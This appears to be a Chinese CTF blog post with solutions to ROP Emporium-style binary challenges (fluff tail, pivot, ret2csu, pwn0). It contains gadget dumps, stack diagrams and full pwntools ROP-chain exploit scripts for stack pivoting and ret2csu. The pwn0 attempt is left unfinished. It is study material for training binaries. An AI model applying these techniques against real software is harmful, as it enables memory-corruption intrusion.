print_file_plt = 0x400510

#gadget
mov_eax_zero_pop1 = 0x0400610
pop_rdx_rcx_bextr = 0x040062A
xlat = 0x0400628
pop_rdi = 0x04006a3
stosb = 0x0400639

payload = b'*' * 40
payload += p64(mov_eax_zero_pop1) + p64(0x0) + p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(f_address) + p64(xlat) + p64(pop_rdi) + p64(save_address) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(l_address - ord('f')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(a_address - ord('l')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(g_address - ord('a')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(dot_address - ord('g')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(t_address - ord('.')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(x_address - ord('t')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(t_address - ord('x')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdi) + p64(save_address) + p64(print_file_plt)

p.sendline(payload)

p.interactive()

pivot

首先有两个可用的函数,分别是foothold_function(),但是ret2win在lib中,可以靠foothold_function()的偏移找到ret2win,把.got.plt表的地址利用偏移改掉;

但是呢,有两个输入,第一个输入,把输入放到堆上了,第二个输入在栈上,但是他的输入有限制,为64个字节,我栈溢出到返回地址就需要40个字节,只剩下三个可以填,完全不够我操作拿到foothold_function的地址啊,所以需要将栈迁移到那个堆区,那里有100h的空间可以操作,完全够做一堆操作。

先看gadget:

$ ROPgadget --binary pivot --only 'xchg|shl|shr|xor|sub|add|pop|mov|ret'
Gadgets information
============================================================
0x0000000000400916 : add al, bpl ; ret
0x0000000000400917 : add al, ch ; ret
0x00000000004009c2 : add bl, al ; add rax, rbp ; ret
0x000000000040078f : add bl, dh ; ret
0x0000000000400a3d : add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400a3b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400a3c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x00000000004008ec : add byte ptr [rax], al ; add cl, cl ; ret
0x00000000004007c6 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040078e : add byte ptr [rax], al ; ret
0x00000000004007c5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040078d : add byte ptr [rax], r8b ; ret
0x0000000000400827 : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004008ee : add cl, cl ; ret
0x00000000004009c5 : add eax, ebp ; ret
0x00000000004006b3 : add esp, 8 ; ret
0x00000000004009c4 : add rax, rbp ; ret
0x00000000004006b2 : add rsp, 8 ; ret
0x0000000000400822 : mov byte ptr [rip + 0x20084f], 1 ; pop rbp ; ret
0x00000000004009c1 : mov eax, dword ptr [rax] ; ret
0x00000000004009c0 : mov rax, qword ptr [rax] ; ret
0x0000000000400a2c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a2e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a30 : pop r14 ; pop r15 ; ret
0x0000000000400a32 : pop r15 ; ret
0x00000000004009bb : pop rax ; ret
0x0000000000400a2b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a2f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007c8 : pop rbp ; ret
0x0000000000400a33 : pop rdi ; ret
0x0000000000400a31 : pop rsi ; pop r15 ; ret
0x0000000000400a2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b6 : ret
0x0000000000400a45 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400a44 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004009be : xchg eax, esp ; ret
0x00000000004009bd : xchg rax, rsp ; ret

Unique gadgets found: 37

构造栈:

|----------------|
|rbp:****       |
|----------------|
|rop链1:0x04009bb(pop rax ; ret)
|----------------|
|leakaddr
|----------------|
|rop链2:0x04009bd(xchg rax, rsp ; ret)
|----------------|

另一个栈
|----------------|
|foothold_function
|----------------|
|pop rax ; ret
|----------------|
|foothold_function GOT_PLT地址
|----------------|
|mov rax, qword ptr [rax] ; ret
|----------------|
|pop rbp ; ret
|----------------|
|两个函数之间的偏移offset
|----------------|
|add rax, rbp ; ret
|----------------|
|call rax
|----------------|

利用代码:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./pivot")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

pivot = ELF('./pivot')
libpivot = ELF('./libpivot.so')

foothold_plt     = pivot.plt['foothold_function']
foothold_got_plt = pivot.got['foothold_function']

foothold_sym = libpivot.symbols['foothold_function']
ret2win_sym  = libpivot.symbols['ret2win']
offset = int(ret2win_sym - foothold_sym)

pop_rax = 0x04009bb
xchg_rax_rsp = 0x04009bd
pop_rbp = 0x04007c8
mov_rax_rax = 0x04009c0
add_rax_rbp = 0x04009c4
#0x4007c1 <deregister_tm_clones+33>:  jmp    rax
jump_rax = 0x4007c1

#debug("b *0x0040095d")
leakaddr = int(p.recv().split()[20], 16)

payload1 = p64(foothold_plt) + p64(pop_rax) + p64(foothold_got_plt)
payload1 += p64(mov_rax_rax) + p64(pop_rbp) + p64(offset) + p64(add_rax_rbp) + p64(jump_rax)
p.sendline(payload1)

p.recvuntil('> ')
payload2 = b'*' * 40
payload2 += p64(pop_rax) + p64(leakaddr) + p64(xchg_rax_rsp)
p.sendline(payload2)

p.interactive()

ret2csu

先看文章理解一下:

asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf

首先来一波Gadget

$ ropper --file ret2csu 
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======

0x000000000040057e: adc byte ptr [rax], ah; jmp rax; 
0x000000000040054f: add bl, dh; ret; 
0x00000000004004da: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x00000000004006ad: add byte ptr [rax], al; add bl, dh; ret; 
0x00000000004006ab: add byte ptr [rax], al; add byte ptr [rax], al; add bl, dh; ret; 
0x0000000000400611: add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret; 
0x0000000000400622: add byte ptr [rax], al; add byte ptr [rdi + 1], bh; call 0x510; nop; pop rbp; ret; 
0x0000000000400628: add byte ptr [rax], al; call 0x510; nop; pop rbp; ret; 
0x0000000000400623: add byte ptr [rax], al; mov edi, 1; call 0x510; nop; pop rbp; ret; 
0x0000000000400586: add byte ptr [rax], al; pop rbp; ret; 
0x00000000004006b2: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret; 
0x0000000000400574: add byte ptr [rax], al; test rax, rax; je 0x588; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004005b6: add byte ptr [rax], al; test rax, rax; je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax; 
0x0000000000400585: add byte ptr [rax], r8b; pop rbp; ret; 
0x00000000004005e7: add byte ptr [rcx], al; pop rbp; ret; 
0x0000000000400624: add byte ptr [rdi + 1], bh; call 0x510; nop; pop rbp; ret; 
0x0000000000400626: add dword ptr [rax], eax; add byte ptr [rax], al; call 0x510; nop; pop rbp; ret; 
0x00000000004004d6: add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d6: add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x00000000004004e3: add esp, 8; ret; 
0x00000000004004e2: add rsp, 8; ret; 
0x00000000004004d9: and byte ptr [rax], al; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d9: and byte ptr [rax], al; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x000000000040060b: call 0x500; mov eax, 0; pop rbp; ret; 
0x000000000040062a: call 0x510; nop; pop rbp; ret; 
0x00000000004005dd: call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x0000000000400793: call qword ptr [rax]; 
0x00000000004004e0: call rax; 
0x00000000004004e0: call rax; add rsp, 8; ret; 
0x000000000040068c: fmul qword ptr [rax - 0x7d]; ret; 
0x00000000004004d2: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax; 
0x00000000004004de: je 0x4e2; call rax; 
0x00000000004004de: je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400579: je 0x588; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004005bb: je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004007d3: jmp qword ptr [rbp]; 
0x0000000000400581: jmp rax; 
0x00000000004006f3: jmp rsp; 
0x00000000004005e2: mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x0000000000400606: mov dword ptr [rbp + 0x48], edx; mov ebp, esp; call 0x500; mov eax, 0; pop rbp; ret; 
0x0000000000400610: mov eax, 0; pop rbp; ret; 
0x00000000004004d5: mov eax, dword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d5: mov eax, dword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400609: mov ebp, esp; call 0x500; mov eax, 0; pop rbp; ret; 
0x00000000004005db: mov ebp, esp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x000000000040057c: mov edi, 0x601038; jmp rax; 
0x0000000000400625: mov edi, 1; call 0x510; nop; pop rbp; ret; 
0x00000000004004d4: mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d4: mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400608: mov rbp, rsp; call 0x500; mov eax, 0; pop rbp; ret; 
0x00000000004005da: mov rbp, rsp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x0000000000400583: nop dword ptr [rax + rax]; pop rbp; ret; 
0x00000000004005c5: nop dword ptr [rax]; pop rbp; ret; 
0x00000000004005e5: or ah, byte ptr [rax]; add byte ptr [rcx], al; pop rbp; ret; 
0x00000000004004d3: or byte ptr [rax - 0x75], cl; add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax; 
0x00000000004004d8: or esp, dword ptr [rax]; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x00000000004005e4: or r12b, byte ptr [r8]; add byte ptr [rcx], al; pop rbp; ret; 
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000040069e: pop r13; pop r14; pop r15; ret; 
0x00000000004006a0: pop r14; pop r15; ret; 
0x00000000004006a2: pop r15; ret; 
0x000000000040057b: pop rbp; mov edi, 0x601038; jmp rax; 
0x000000000040069b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000040069f: pop rbp; pop r14; pop r15; ret; 
0x0000000000400588: pop rbp; ret; 
0x00000000004006a3: pop rdi; ret; 
0x00000000004006a1: pop rsi; pop r15; ret; 
0x000000000040069d: pop rsp; pop r13; pop r14; pop r15; ret; 
0x0000000000400607: push rbp; mov rbp, rsp; call 0x500; mov eax, 0; pop rbp; ret; 
0x00000000004005d9: push rbp; mov rbp, rsp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret; 
0x00000000004004dd: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x00000000004004d7: sbb eax, 0x4800200b; test eax, eax; je 0x4e2; call rax; 
0x00000000004004d7: sbb eax, 0x4800200b; test eax, eax; je 0x4e2; call rax; add rsp, 8; ret; 
0x00000000004006b5: sub esp, 8; add rsp, 8; ret; 
0x00000000004004d1: sub esp, 8; mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; 
0x00000000004006b4: sub rsp, 8; add rsp, 8; ret; 
0x00000000004004d0: sub rsp, 8; mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; 
0x00000000004004dc: test eax, eax; je 0x4e2; call rax; 
0x00000000004004dc: test eax, eax; je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400577: test eax, eax; je 0x588; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004005b9: test eax, eax; je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004004db: test rax, rax; je 0x4e2; call rax; 
0x00000000004004db: test rax, rax; je 0x4e2; call rax; add rsp, 8; ret; 
0x0000000000400576: test rax, rax; je 0x588; pop rbp; mov edi, 0x601038; jmp rax; 
0x00000000004005b8: test rax, rax; je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax; 
0x000000000040062f: nop; pop rbp; ret; 
0x00000000004004e6: ret;

这道题主要难点就是控制rdx,其他都好说

在这里插入图片描述

构造栈(得在exe中找到存有call到的地址基本啥也没做的函数):

|----------------|
|rbp:****       |
|----------------|
|pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;(控制后面的call) 
|----------------|
|0x0
|----------------|
|0x1(这两构造使得后面jne比较的时候不发生跳转)
|----------------|
|找到的函数地址(0x600E48地址存的0x4006B4|----------------|
|三个参数值(由于那个指令是edi,所以第一个参数需要使用其他gadget来赋值)
|----------------|
|pop rdi; ret (对rdi单独赋参)
|----------------|
|第一个参数值
|----------------|
|目标函数
|----------------|

利用代码:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./ret2csu")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

pivot = ELF('./ret2csu')
libpivot = ELF('./libret2csu.so')

#debug("b *0x040060B")
ret2win_plt = 0x0400510

rdi = 0xDEADBEEFDEADBEEF
rsi = 0xCAFEBABECAFEBABE
rdx = 0xD00DF00DD00DF00D

pop_rdi = 0x04006a3
pop_rdx_rbp_r12_r15 = 0x40069A
mov_rdx_rsi = 0x00400680
void_function = 0x600E48

payload = b'*' * 40
payload += p64(pop_rdx_rbp_r12_r15) + p64(0x0) + p64(0x1) + p64(void_function) + p64(0x0) + p64(rsi) + p64(rdx) + p64(mov_rdx_rsi) +  p64(0x0) * 7
payload += p64(pop_rdi) + p64(rdi)
payload += p64(ret2win_plt)
p.sendline(payload)

p.interactive()

pwn0

下面文件下载后,放在linux下的 /home/pwn/pwn0/
链接:https://pan.baidu.com/s/11lm17lllPZ5A8rrcuCELAg
提取码:knpf

flag必须放到/home/pwn/pwn0中

先来个Gadget(这个入门题没啥意思)

$ ropper --file pwn0 
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======
0x0804881d: adc al, 0x41; ret; 
0x0804854e: adc al, 0x50; call edx; 
0x0804863d: adc byte ptr [eax], bh; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x080484c1: add al, 8; call eax; 
0x080484fb: add al, 8; call edx; 
0x080486af: add bl, dh; ret; 
0x0804863f: add byte ptr [eax], al; add byte ptr [eax], al; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x08048640: add byte ptr [eax], al; add byte ptr [ebx - 0x723603b3], cl; popal; cld; ret; 
0x080483d4: add byte ptr [eax], al; add esp, 8; pop ebx; ret; 
0x08048641: add byte ptr [eax], al; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x08048642: add byte ptr [ebx - 0x723603b3], cl; popal; cld; ret; 
0x0804863b: add esp, 0x10; mov eax, 0; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x08048599: add esp, 0x10; nop; leave; ret; 
0x080486a5: add esp, 0xc; pop ebx; pop esi; pop edi; pop ebp; ret; 
0x080483d6: add esp, 8; pop ebx; ret; 
0x0804881a: and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x08048594: call 0x420; add esp, 0x10; nop; leave; ret; 
0x080483d1: call 0x430; add esp, 8; pop ebx; ret; 
0x080485cc: call 0x55b; nop; leave; ret; 
0x0804855a: call dword ptr [ebp - 0x77]; 
0x08048653: call dword ptr [esi + 0x53]; 
0x080484c3: call eax; 
0x080484fd: call edx; 
0x08048818: dec ebp; push cs; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x08048644: dec ebp; cld; leave; lea esp, [ecx - 4]; ret; 
0x0804854d: in al, dx; adc al, 0x50; call edx; 
0x0804854b: in eax, 0x83; in al, dx; adc al, 0x50; call edx; 
0x0804863a: inc dword ptr [ebx + 0xb810c4]; add byte ptr [eax], al; add byte ptr [ebx - 0x723603b3], cl; popal; cld; ret; 
0x08048598: inc dword ptr [ebx - 0x366fef3c]; ret; 
0x08048815: inc ecx; push cs; xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x0804881e: inc ecx; ret; 
0x0804881b: inc edi; push cs; adc al, 0x41; ret; 
0x080483cf: je 0x3d6; call 0x430; add esp, 8; pop ebx; ret; 
0x080484b6: je 0x4c9; push ebp; mov ebp, esp; sub esp, 0x14; push 0x804a030; call eax; 
0x08048547: je 0x53b; push ebp; mov ebp, esp; sub esp, 0x14; push eax; call edx; 
0x080486a4: jecxz 0x629; les ecx, ptr [ebx + ebx*2]; pop esi; pop edi; pop ebp; ret; 
0x0804872f: jmp esp; 
0x080485ca: jne 0x5d1; call 0x55b; nop; leave; ret; 
0x08048647: lea esp, [ecx - 4]; ret; 
0x080483d7: les ecx, ptr [eax]; pop ebx; ret; 
0x080486a6: les ecx, ptr [ebx + ebx*2]; pop esi; pop edi; pop ebp; ret; 
0x0804863c: les edx, ptr [eax]; mov eax, 0; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x0804859a: les edx, ptr [eax]; nop; leave; ret; 
0x0804863e: mov eax, 0; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x080484f2: mov ebp, esp; sub esp, 0x10; push eax; push 0x804a030; call edx; 
0x080484b9: mov ebp, esp; sub esp, 0x14; push 0x804a030; call eax; 
0x0804854a: mov ebp, esp; sub esp, 0x14; push eax; call edx; 
0x08048490: mov ebx, dword ptr [esp]; ret; 
0x08048643: mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret; 
0x080486a7: or al, 0x5b; pop esi; pop edi; pop ebp; ret; 
0x080484c2: or bh, bh; rol byte ptr [ebx - 0xc36ef3c], 1; ret; 
0x080484fc: or bh, bh; rol byte ptr [ebx - 0xc36ef3c], cl; ret; 
0x080486ab: pop ebp; ret; 
0x080486a8: pop ebx; pop esi; pop edi; pop ebp; ret; 
0x080483d9: pop ebx; ret; 
0x080486aa: pop edi; pop ebp; ret; 
0x080486a9: pop esi; pop edi; pop ebp; ret; 
0x080484be: push 0x804a030; call eax; 
0x080484f8: push 0x804a030; call edx; 
0x0804881c: push cs; adc al, 0x41; ret; 
0x08048819: push cs; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x08048816: push cs; xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x08048593: push eax; call 0x420; add esp, 0x10; nop; leave; ret; 
0x0804854f: push eax; call edx; 
0x080484f7: push eax; push 0x804a030; call edx; 
0x080484f1: push ebp; mov ebp, esp; sub esp, 0x10; push eax; push 0x804a030; call edx; 
0x080484b8: push ebp; mov ebp, esp; sub esp, 0x14; push 0x804a030; call eax; 
0x08048549: push ebp; mov ebp, esp; sub esp, 0x14; push eax; call edx; 
0x080484de: ret 0xeac1; 
0x080484c4: rol byte ptr [ebx - 0xc36ef3c], 1; ret; 
0x080484fe: rol byte ptr [ebx - 0xc36ef3c], cl; ret; 
0x08048546: sal byte ptr [edx + esi*8 + 0x55], cl; mov ebp, esp; sub esp, 0x14; push eax; call edx; 
0x08048491: sbb al, 0x24; ret; 
0x08048814: sub al, 0x41; push cs; xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x080484f4: sub esp, 0x10; push eax; push 0x804a030; call edx; 
0x080484bb: sub esp, 0x14; push 0x804a030; call eax; 
0x0804854c: sub esp, 0x14; push eax; call edx; 
0x080483cd: test eax, eax; je 0x3d6; call 0x430; add esp, 8; pop ebx; ret; 
0x08048817: xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret; 
0x08048657: xor eax, 0x81fffffe; ret; 
0x08048645: cld; leave; lea esp, [ecx - 4]; ret; 
0x08048649: cld; ret; 
0x08048646: leave; lea esp, [ecx - 4]; ret; 
0x0804859d: leave; ret; 
0x0804848f: nop; mov ebx, dword ptr [esp]; ret; 
0x0804859c: nop; leave; ret; 
0x0804848d: nop; nop; mov ebx, dword ptr [esp]; ret; 
0x0804848b: nop; nop; nop; mov ebx, dword ptr [esp]; ret; 
0x08048489: nop; nop; nop; nop; mov ebx, dword ptr [esp]; ret; 
0x080485c9: popal; jne 0x5d1; call 0x55b; nop; leave; ret; 
0x08048648: popal; cld; ret; 
0x080483c2: ret;

栈构造:

这个很简单,但是我认为不是这样的,flag还是没出来,因为fgets输入的25,flag内容正好出不来,但是如果单独自己构造ROP链来调用不同函数,其他都好控制,因为32位是靠ebp+8,。。。来传参的,如何控制ebp,没找到适合的Gadget,我不能拿到栈地址,如果能拿到的话,也可以做,但是栈地址好像可以泄露 👀, 有个puts函数。。。。又查了查,开了ASLR,栈地址会变的,控制不了,这道题就有问题

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./pwn0")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x080485AC")

f_open_plt = 0x08048450
modes_addr = 0x080486D0
file_name_addr = 0x080486D2

f_gets_plt = 0x08048410

puts_plt = 0x08048420

payload = b'*' * 32
payload += p32(0x61616161)
p.sendline(payload)

p.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值